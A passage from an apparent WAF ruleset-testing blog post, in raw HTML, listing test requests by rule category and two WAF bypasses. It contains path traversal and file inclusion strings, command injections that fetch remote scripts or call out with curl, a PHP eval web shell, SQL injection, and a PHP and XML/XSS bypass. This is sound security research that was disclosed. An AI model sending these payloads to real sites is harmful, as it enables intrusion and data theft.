&lt;div class="code"&gt;&lt;pre class="code text"&gt;&lt;a id="rest_code_2ef0ceff13de4de4bef646fec06594d3-1" name="rest_code_2ef0ceff13de4de4bef646fec06594d3-1" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_2ef0ceff13de4de4bef646fec06594d3-1"&gt;&lt;/a&gt;GET /?arg1=GET%20http%3A%2F%2Fwww.foo.bar%20HTTP%2F3.2 HTTP/1.1
&lt;/pre&gt;&lt;/div&gt;
&lt;div class="code"&gt;&lt;pre class="code text"&gt;&lt;a id="rest_code_c32a7b5b69ec44ac823839456e8221ba-1" name="rest_code_c32a7b5b69ec44ac823839456e8221ba-1" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_c32a7b5b69ec44ac823839456e8221ba-1"&gt;&lt;/a&gt;POST / HTTP/1.1
&lt;a id="rest_code_c32a7b5b69ec44ac823839456e8221ba-2" name="rest_code_c32a7b5b69ec44ac823839456e8221ba-2" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_c32a7b5b69ec44ac823839456e8221ba-2"&gt;&lt;/a&gt;Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
&lt;a id="rest_code_c32a7b5b69ec44ac823839456e8221ba-3" name="rest_code_c32a7b5b69ec44ac823839456e8221ba-3" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_c32a7b5b69ec44ac823839456e8221ba-3"&gt;&lt;/a&gt;Content-Type: application/x-www-form-urlencoded
&lt;a id="rest_code_c32a7b5b69ec44ac823839456e8221ba-4" name="rest_code_c32a7b5b69ec44ac823839456e8221ba-4" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_c32a7b5b69ec44ac823839456e8221ba-4"&gt;&lt;/a&gt;Host: www.example.org
&lt;a id="rest_code_c32a7b5b69ec44ac823839456e8221ba-5" name="rest_code_c32a7b5b69ec44ac823839456e8221ba-5" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_c32a7b5b69ec44ac823839456e8221ba-5"&gt;&lt;/a&gt;Range: bytes=0-,5-0,5-1,5-2,5-3,5-4,5-5,5-6,5-7,5-8,5-9,5-10,5-11,5-12,5-13,5-14,5-15
&lt;a id="rest_code_c32a7b5b69ec44ac823839456e8221ba-6" name="rest_code_c32a7b5b69ec44ac823839456e8221ba-6" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_c32a7b5b69ec44ac823839456e8221ba-6"&gt;&lt;/a&gt;User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36
&lt;a id="rest_code_c32a7b5b69ec44ac823839456e8221ba-7" name="rest_code_c32a7b5b69ec44ac823839456e8221ba-7" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_c32a7b5b69ec44ac823839456e8221ba-7"&gt;&lt;/a&gt;Content-Length: 86
&lt;a id="rest_code_c32a7b5b69ec44ac823839456e8221ba-8" name="rest_code_c32a7b5b69ec44ac823839456e8221ba-8" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_c32a7b5b69ec44ac823839456e8221ba-8"&gt;&lt;/a&gt;
&lt;a id="rest_code_c32a7b5b69ec44ac823839456e8221ba-9" name="rest_code_c32a7b5b69ec44ac823839456e8221ba-9" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_c32a7b5b69ec44ac823839456e8221ba-9"&gt;&lt;/a&gt;foo=(%26(objectCategory=computer)%20(userAccountControl:1.2.840.113556.1.4.803:=8192))
&lt;/pre&gt;&lt;/div&gt;
&lt;/section&gt;
&lt;section id="request-930-application-attack-lfi"&gt;
&lt;h3&gt;REQUEST-930-APPLICATION-ATTACK-LFI&lt;/h3&gt;
&lt;div class="code"&gt;&lt;pre class="code text"&gt;&lt;a id="rest_code_76b8269e4c2142f8921b57fa176e3dd7-1" name="rest_code_76b8269e4c2142f8921b57fa176e3dd7-1" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_76b8269e4c2142f8921b57fa176e3dd7-1"&gt;&lt;/a&gt;GET /?foo=.../.../WINDOWS/win.ini HTTP/1.1
&lt;a id="rest_code_76b8269e4c2142f8921b57fa176e3dd7-2" name="rest_code_76b8269e4c2142f8921b57fa176e3dd7-2" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_76b8269e4c2142f8921b57fa176e3dd7-2"&gt;&lt;/a&gt;GET /?foo=0x5c0x2e./0x5c0x2e./0x5c0x2e./0x5c0x2e./0x5c0x2e./ HTTP/1.1
&lt;a id="rest_code_76b8269e4c2142f8921b57fa176e3dd7-3" name="rest_code_76b8269e4c2142f8921b57fa176e3dd7-3" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_76b8269e4c2142f8921b57fa176e3dd7-3"&gt;&lt;/a&gt;GET /foo../1234 HTTP/1.1
&lt;a id="rest_code_76b8269e4c2142f8921b57fa176e3dd7-4" name="rest_code_76b8269e4c2142f8921b57fa176e3dd7-4" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_76b8269e4c2142f8921b57fa176e3dd7-4"&gt;&lt;/a&gt;GET /?a=..;.\.;\. HTTP/1.1
&lt;a id="rest_code_76b8269e4c2142f8921b57fa176e3dd7-5" name="rest_code_76b8269e4c2142f8921b57fa176e3dd7-5" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_76b8269e4c2142f8921b57fa176e3dd7-5"&gt;&lt;/a&gt;GET /?code=;+cat+%2Fetc%2Fsubuid+%23 HTTP/1.1
&lt;a id="rest_code_76b8269e4c2142f8921b57fa176e3dd7-6" name="rest_code_76b8269e4c2142f8921b57fa176e3dd7-6" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_76b8269e4c2142f8921b57fa176e3dd7-6"&gt;&lt;/a&gt;GET /?code=;echo+fooffff&amp;gt;/tmp/curl HTTP/1.1
&lt;/pre&gt;&lt;/div&gt;
&lt;/section&gt;
&lt;section id="request-931-application-attack-rfi"&gt;
&lt;h3&gt;REQUEST-931-APPLICATION-ATTACK-RFI&lt;/h3&gt;
&lt;div class="code"&gt;&lt;pre class="code text"&gt;&lt;a id="rest_code_81f32c85d7f34311a4ecd0b28dc64f99-1" name="rest_code_81f32c85d7f34311a4ecd0b28dc64f99-1" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_81f32c85d7f34311a4ecd0b28dc64f99-1"&gt;&lt;/a&gt;GET /?src=http://66.240.183.75/crash.php HTTP/1.1
&lt;a id="rest_code_81f32c85d7f34311a4ecd0b28dc64f99-2" name="rest_code_81f32c85d7f34311a4ecd0b28dc64f99-2" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_81f32c85d7f34311a4ecd0b28dc64f99-2"&gt;&lt;/a&gt;GET /components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=https://foo.bar HTTP/1.1
&lt;a id="rest_code_81f32c85d7f34311a4ecd0b28dc64f99-3" name="rest_code_81f32c85d7f34311a4ecd0b28dc64f99-3" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_81f32c85d7f34311a4ecd0b28dc64f99-3"&gt;&lt;/a&gt;GET /?x=https://example.com/ HTTP/1.1
&lt;a id="rest_code_81f32c85d7f34311a4ecd0b28dc64f99-4" name="rest_code_81f32c85d7f34311a4ecd0b28dc64f99-4" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_81f32c85d7f34311a4ecd0b28dc64f99-4"&gt;&lt;/a&gt;GET /?x=url:file://foo.bar HTTP/1.1
&lt;a id="rest_code_81f32c85d7f34311a4ecd0b28dc64f99-5" name="rest_code_81f32c85d7f34311a4ecd0b28dc64f99-5" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_81f32c85d7f34311a4ecd0b28dc64f99-5"&gt;&lt;/a&gt;GET /file:%2f%2f/usr/src/blog/app/assets/javascripts/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd HTTP/1.1
&lt;/pre&gt;&lt;/div&gt;
&lt;/section&gt;
&lt;section id="request-932-application-attack-rce"&gt;
&lt;h3&gt;REQUEST-932-APPLICATION-ATTACK-RCE&lt;/h3&gt;
&lt;div class="code"&gt;&lt;pre class="code text"&gt;&lt;a id="rest_code_a93846228fec48e7aaf4bda63571b847-1" name="rest_code_a93846228fec48e7aaf4bda63571b847-1" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_a93846228fec48e7aaf4bda63571b847-1"&gt;&lt;/a&gt;GET /get?932120-1=Invoke-WebRequest%20http://example.com/path/file.ps1 HTTP/1.1
&lt;a id="rest_code_a93846228fec48e7aaf4bda63571b847-2" name="rest_code_a93846228fec48e7aaf4bda63571b847-2" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_a93846228fec48e7aaf4bda63571b847-2"&gt;&lt;/a&gt;GET /get?a=Invoke-Expression%20-Command%20file.ps1
&lt;a id="rest_code_a93846228fec48e7aaf4bda63571b847-3" name="rest_code_a93846228fec48e7aaf4bda63571b847-3" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_a93846228fec48e7aaf4bda63571b847-3"&gt;&lt;/a&gt;GET /get?cmd=%3Biwr%20http://example.com/path/file.ps1 HTTP/1.1
&lt;a id="rest_code_a93846228fec48e7aaf4bda63571b847-4" name="rest_code_a93846228fec48e7aaf4bda63571b847-4" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_a93846228fec48e7aaf4bda63571b847-4"&gt;&lt;/a&gt;GET /?cmd=cat%20/etc/pa%5Bs%5Dswd HTTP/1.1
&lt;a id="rest_code_a93846228fec48e7aaf4bda63571b847-5" name="rest_code_a93846228fec48e7aaf4bda63571b847-5" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_a93846228fec48e7aaf4bda63571b847-5"&gt;&lt;/a&gt;GET /?cmd=x&amp;lt;cat+/etc/pa%5Bs%5Dswd HTTP/1.1
&lt;a id="rest_code_a93846228fec48e7aaf4bda63571b847-6" name="rest_code_a93846228fec48e7aaf4bda63571b847-6" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_a93846228fec48e7aaf4bda63571b847-6"&gt;&lt;/a&gt;GET /?cmd=;cat+/etc/pas[s]wd HTTP/1.1
&lt;a id="rest_code_a93846228fec48e7aaf4bda63571b847-7" name="rest_code_a93846228fec48e7aaf4bda63571b847-7" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_a93846228fec48e7aaf4bda63571b847-7"&gt;&lt;/a&gt;GET /?s=;/usr/bin/%5Bu%5Dname+-a HTTP/1.1
&lt;a id="rest_code_a93846228fec48e7aaf4bda63571b847-8" name="rest_code_a93846228fec48e7aaf4bda63571b847-8" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_a93846228fec48e7aaf4bda63571b847-8"&gt;&lt;/a&gt;GET /?foo=for%20%2fr%20c%3a%5c%20%25variable%20in%20%28set%29%20do%20command HTTP/1.1
&lt;a id="rest_code_a93846228fec48e7aaf4bda63571b847-9" name="rest_code_a93846228fec48e7aaf4bda63571b847-9" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_a93846228fec48e7aaf4bda63571b847-9"&gt;&lt;/a&gt;GET /?foo=FOR+%2FF+%22options%22+%25a+IN+%28%22text%22%29+DO+abc HTTP/1.1
&lt;a id="rest_code_a93846228fec48e7aaf4bda63571b847-10" name="rest_code_a93846228fec48e7aaf4bda63571b847-10" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_a93846228fec48e7aaf4bda63571b847-10"&gt;&lt;/a&gt;GET /?foo=%26+FOR+%2FF+%22tokens%3D1-3%22+%25%25A+IN+++%28%22jejeje+brbr%22%29+DO+%40echo+pwnd HTTP/1.1
&lt;a id="rest_code_a93846228fec48e7aaf4bda63571b847-11" name="rest_code_a93846228fec48e7aaf4bda63571b847-11" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_a93846228fec48e7aaf4bda63571b847-11"&gt;&lt;/a&gt;GET /?foo=FOR+%25%25G+IN+%28a%2Cb%2Cc%2Cd%2Ce%2Cf%2Cg%2Ch%2Ci%2Cj%2Ck%2Cl%2Cm%2Cn%2Co%2Cp%2Cq%2Cr%2Cs%2Ct%2Cu%2Cv%2Cw%2Cx%2Cy%2Cz%29+DO+%28md+C%3A%5Cdemo%5C%25%25G%29 HTTP/1.1
&lt;a id="rest_code_a93846228fec48e7aaf4bda63571b847-12" name="rest_code_a93846228fec48e7aaf4bda63571b847-12" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_a93846228fec48e7aaf4bda63571b847-12"&gt;&lt;/a&gt;GET /?x=%2Fusr%2Fbin%2Fperl+-e+%27print+readline%27+some-file.txt HTTP/1.1
&lt;a id="rest_code_a93846228fec48e7aaf4bda63571b847-13" name="rest_code_a93846228fec48e7aaf4bda63571b847-13" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_a93846228fec48e7aaf4bda63571b847-13"&gt;&lt;/a&gt;GET /?x=)};%24SHELL%20-c%20%22echo%20hi%22 HTTP/1.1
&lt;/pre&gt;&lt;/div&gt;
&lt;/section&gt;
&lt;section id="request-933-application-attack-php"&gt;
&lt;h3&gt;REQUEST-933-APPLICATION-ATTACK-PHP&lt;/h3&gt;
&lt;div class="code"&gt;&lt;pre class="code text"&gt;&lt;a id="rest_code_66b07da4b1154804a77d9f9a13fed49d-1" name="rest_code_66b07da4b1154804a77d9f9a13fed49d-1" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_66b07da4b1154804a77d9f9a13fed49d-1"&gt;&lt;/a&gt;GET /?x=$_SERVER['test']; HTTP/1.1
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;File content:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code text"&gt;&lt;a id="rest_code_276bb92a80574dcdb48b21a22f215ddf-1" name="rest_code_276bb92a80574dcdb48b21a22f215ddf-1" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_276bb92a80574dcdb48b21a22f215ddf-1"&gt;&lt;/a&gt;&amp;lt;?php @eval($_POST["hacker"]); ?&amp;gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/section&gt;
&lt;section id="request-934-application-attack-generic"&gt;
&lt;h3&gt;REQUEST-934-APPLICATION-ATTACK-GENERIC&lt;/h3&gt;
&lt;div class="code"&gt;&lt;pre class="code text"&gt;&lt;a id="rest_code_baea0d3d592d44c88ecaeecbbd6f30b8-1" name="rest_code_baea0d3d592d44c88ecaeecbbd6f30b8-1" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_baea0d3d592d44c88ecaeecbbd6f30b8-1"&gt;&lt;/a&gt;GET /get/?foo=eval%28String.fromCharCode HTTP/1.1
&lt;a id="rest_code_baea0d3d592d44c88ecaeecbbd6f30b8-2" name="rest_code_baea0d3d592d44c88ecaeecbbd6f30b8-2" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_baea0d3d592d44c88ecaeecbbd6f30b8-2"&gt;&lt;/a&gt;GET /get/?foo=%0Arequire("child_process").exec('whoami') HTTP/1.1
&lt;a id="rest_code_baea0d3d592d44c88ecaeecbbd6f30b8-3" name="rest_code_baea0d3d592d44c88ecaeecbbd6f30b8-3" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_baea0d3d592d44c88ecaeecbbd6f30b8-3"&gt;&lt;/a&gt;GET /?x=%0Arequire%3bx%3d"child_process"%3blol(x).spawn("curl",%20['5gmgdi7mjd5o3g8oj8gawq6n8ee5ht6.oastify.com'])%3b HTTP/1.1
&lt;/pre&gt;&lt;/div&gt;
&lt;/section&gt;
&lt;section id="request-942-application-attack-sqli"&gt;
&lt;h3&gt;REQUEST-942-APPLICATION-ATTACK-SQLI&lt;/h3&gt;
&lt;div class="code"&gt;&lt;pre class="code text"&gt;&lt;a id="rest_code_cec85265392844bfbbf036eb8766ade2-1" name="rest_code_cec85265392844bfbbf036eb8766ade2-1" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_cec85265392844bfbbf036eb8766ade2-1"&gt;&lt;/a&gt;GET /?a=b,1=1 HTTP/1.1
&lt;a id="rest_code_cec85265392844bfbbf036eb8766ade2-2" name="rest_code_cec85265392844bfbbf036eb8766ade2-2" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_cec85265392844bfbbf036eb8766ade2-2"&gt;&lt;/a&gt;GET /?a=a=42%20like%2042 HTTP/1.1
&lt;a id="rest_code_cec85265392844bfbbf036eb8766ade2-3" name="rest_code_cec85265392844bfbbf036eb8766ade2-3" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_cec85265392844bfbbf036eb8766ade2-3"&gt;&lt;/a&gt;GET /?a=1%20is%20not%202 HTTP/1.1
&lt;a id="rest_code_cec85265392844bfbbf036eb8766ade2-4" name="rest_code_cec85265392844bfbbf036eb8766ade2-4" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_cec85265392844bfbbf036eb8766ade2-4"&gt;&lt;/a&gt;GET /?a=%271%27+not+regexp+%272%27 HTTP/1.1
&lt;a id="rest_code_cec85265392844bfbbf036eb8766ade2-5" name="rest_code_cec85265392844bfbbf036eb8766ade2-5" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_cec85265392844bfbbf036eb8766ade2-5"&gt;&lt;/a&gt;GET /?var=,+FIND_IN_SET('22',+Category+) HTTP/1.1
&lt;a id="rest_code_cec85265392844bfbbf036eb8766ade2-6" name="rest_code_cec85265392844bfbbf036eb8766ade2-6" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_cec85265392844bfbbf036eb8766ade2-6"&gt;&lt;/a&gt;GET /?var==1'+%2b+1+is+likelihood(0.0,0.0)+is+1-- HTTP/1.1
&lt;a id="rest_code_cec85265392844bfbbf036eb8766ade2-7" name="rest_code_cec85265392844bfbbf036eb8766ade2-7" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_cec85265392844bfbbf036eb8766ade2-7"&gt;&lt;/a&gt;GET /?var==1'+%2b+starts_with(password,'a')::int HTTP/1.1
&lt;a id="rest_code_cec85265392844bfbbf036eb8766ade2-8" name="rest_code_cec85265392844bfbbf036eb8766ade2-8" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_cec85265392844bfbbf036eb8766ade2-8"&gt;&lt;/a&gt;GET /?id=...(json_build_object(1,password)::jsonb)::int HTTP/1.1
&lt;a id="rest_code_cec85265392844bfbbf036eb8766ade2-9" name="rest_code_cec85265392844bfbbf036eb8766ade2-9" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_cec85265392844bfbbf036eb8766ade2-9"&gt;&lt;/a&gt;GET /?var=SELECT%20x%20GROUP%20BY%20SOMETHING%20HAVING%20COUNT%28Id%29%20%3E%3D%209 HTTP/1.1
&lt;a id="rest_code_cec85265392844bfbbf036eb8766ade2-10" name="rest_code_cec85265392844bfbbf036eb8766ade2-10" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_cec85265392844bfbbf036eb8766ade2-10"&gt;&lt;/a&gt;GET /?var=;INSERT+INTO+table+(col)+VALUES+1,2,3 HTTP/1.1
&lt;/pre&gt;&lt;/div&gt;
&lt;/section&gt;
&lt;section id="request-944-application-attack-java"&gt;
&lt;h3&gt;REQUEST-944-APPLICATION-ATTACK-JAVA&lt;/h3&gt;
&lt;div class="code"&gt;&lt;pre class="code text"&gt;&lt;a id="rest_code_b7a1bd6733384ddeb2c55aefc852723f-1" name="rest_code_b7a1bd6733384ddeb2c55aefc852723f-1" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_b7a1bd6733384ddeb2c55aefc852723f-1"&gt;&lt;/a&gt;java.lang.ProcessBuilder
&lt;a id="rest_code_b7a1bd6733384ddeb2c55aefc852723f-2" name="rest_code_b7a1bd6733384ddeb2c55aefc852723f-2" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_b7a1bd6733384ddeb2c55aefc852723f-2"&gt;&lt;/a&gt;java.lang.Runtime
&lt;a id="rest_code_b7a1bd6733384ddeb2c55aefc852723f-3" name="rest_code_b7a1bd6733384ddeb2c55aefc852723f-3" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_b7a1bd6733384ddeb2c55aefc852723f-3"&gt;&lt;/a&gt;java.io.BufferedInputStream
&lt;/pre&gt;&lt;/div&gt;
&lt;/section&gt;
&lt;/section&gt;
&lt;section id="bypassing-both-wafs"&gt;
&lt;h2&gt;Bypassing both WAFs&lt;/h2&gt;
&lt;p&gt;There was one more thing we wanted to do. We wanted to find something that bypasses both WAFs.&lt;/p&gt;
&lt;section id="php"&gt;
&lt;h3&gt;PHP&lt;/h3&gt;
&lt;p&gt;After looking at the PHP regex of rules for CRS, we came up with the following valid PHP payload:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code text"&gt;&lt;a id="rest_code_29e379b4478940c394eb52cdab60e5eb-1" name="rest_code_29e379b4478940c394eb52cdab60e5eb-1" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_29e379b4478940c394eb52cdab60e5eb-1"&gt;&lt;/a&gt;&amp;lt;?xml :system("ls")
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;This is valid PHP code with the short PHP start tag (&amp;lt;?) that executes a shell command, but bypasses the filter rules for both WAFs. PHP will interprete the "xml :" part as a label (e.g. used for goto).&lt;/p&gt;
&lt;p&gt;OWASP CRS checked for the short PHP start tag (&amp;lt;?) but excluded &amp;lt;?xml generically, which allowed the bypass. However, for CRS other rules such as Cross-Site Scripting prevention rules also triggered (multi-layer approach), meaning depending on the filter settings the payload could still be detected in some cases. After reporting the &lt;a class="reference external" href="https://github.com/coreruleset/coreruleset/issues/3616"&gt;PHP filter bypass to OWASP CRS it was fixed&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Although Airlock also has a rule to detect PHP short start tag payloads, for Airlock this payload resulted in a bypass.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="xml"&gt;
&lt;h3&gt;XML&lt;/h3&gt;
&lt;p&gt;To find a second bypass we simply used a payload from one of our &lt;a class="reference external" href="https://www.pentagrid.ch/en/blog/reflected-xss-vulnerability-in-crealogix-ebics-implementation/"&gt;old advisories that hides the Cross-side Scripting payload in an XML attribute&lt;/a&gt; :&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code text"&gt;&lt;a id="rest_code_313e8462ce9641868a3fb75914512cae-1" name="rest_code_313e8462ce9641868a3fb75914512cae-1" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_313e8462ce9641868a3fb75914512cae-1"&gt;&lt;/a&gt;POST /ebics-server/ebics.aspx HTTP/1.1
&lt;a id="rest_code_313e8462ce9641868a3fb75914512cae-2" name="rest_code_313e8462ce9641868a3fb75914512cae-2" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_313e8462ce9641868a3fb75914512cae-2"&gt;&lt;/a&gt;Content-Type: text/xml; charset=UTF-8
&lt;a id="rest_code_313e8462ce9641868a3fb75914512cae-3" name="rest_code_313e8462ce9641868a3fb75914512cae-3" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_313e8462ce9641868a3fb75914512cae-3"&gt;&lt;/a&gt;Host: www.example.org
&lt;a id="rest_code_313e8462ce9641868a3fb75914512cae-4" name="rest_code_313e8462ce9641868a3fb75914512cae-4" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_313e8462ce9641868a3fb75914512cae-4"&gt;&lt;/a&gt;Content-Length: 585
&lt;a id="rest_code_313e8462ce9641868a3fb75914512cae-5" name="rest_code_313e8462ce9641868a3fb75914512cae-5" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_313e8462ce9641868a3fb75914512cae-5"&gt;&lt;/a&gt;Connection: close
&lt;a id="rest_code_313e8462ce9641868a3fb75914512cae-6" name="rest_code_313e8462ce9641868a3fb75914512cae-6" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_313e8462ce9641868a3fb75914512cae-6"&gt;&lt;/a&gt;
&lt;a id="rest_code_313e8462ce9641868a3fb75914512cae-7" name="rest_code_313e8462ce9641868a3fb75914512cae-7" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_313e8462ce9641868a3fb75914512cae-7"&gt;&lt;/a&gt;&amp;lt;?xml version="1.0" encoding="utf-8" standalone="no"?&amp;gt;
&lt;a id="rest_code_313e8462ce9641868a3fb75914512cae-8" name="rest_code_313e8462ce9641868a3fb75914512cae-8" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_313e8462ce9641868a3fb75914512cae-8"&gt;&lt;/a&gt;&amp;lt;ebicsUnsecuredRequest xmlns="urn:org:ebics:H004" Revision="1" Version="&amp;amp;lt;a autofocus onfocus=print(1) href&amp;amp;gt;&amp;amp;lt;/a&amp;amp;gt;;"&amp;gt;
&lt;a id="rest_code_313e8462ce9641868a3fb75914512cae-9" name="rest_code_313e8462ce9641868a3fb75914512cae-9" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_313e8462ce9641868a3fb75914512cae-9"&gt;&lt;/a&gt;    &amp;lt;header authenticate="true"&amp;gt;
&lt;a id="rest_code_313e8462ce9641868a3fb75914512cae-10" name="rest_code_313e8462ce9641868a3fb75914512cae-10" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_313e8462ce9641868a3fb75914512cae-10"&gt;&lt;/a&gt;        &amp;lt;static&amp;gt;
&lt;a id="rest_code_313e8462ce9641868a3fb75914512cae-11" name="rest_code_313e8462ce9641868a3fb75914512cae-11" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_313e8462ce9641868a3fb75914512cae-11"&gt;&lt;/a&gt;            &amp;lt;HostID&amp;gt;AAA&amp;lt;/HostID&amp;gt;
&lt;a id="rest_code_313e8462ce9641868a3fb75914512cae-12" name="rest_code_313e8462ce9641868a3fb75914512cae-12" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_313e8462ce9641868a3fb75914512cae-12"&gt;&lt;/a&gt;            &amp;lt;PartnerID&amp;gt;AAA&amp;lt;/PartnerID&amp;gt;
&lt;a id="rest_code_313e8462ce9641868a3fb75914512cae-13" name="rest_code_313e8462ce9641868a3fb75914512cae-13" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_313e8462ce9641868a3fb75914512cae-13"&gt;&lt;/a&gt;            &amp;lt;UserID&amp;gt;AAA&amp;lt;/UserID&amp;gt;
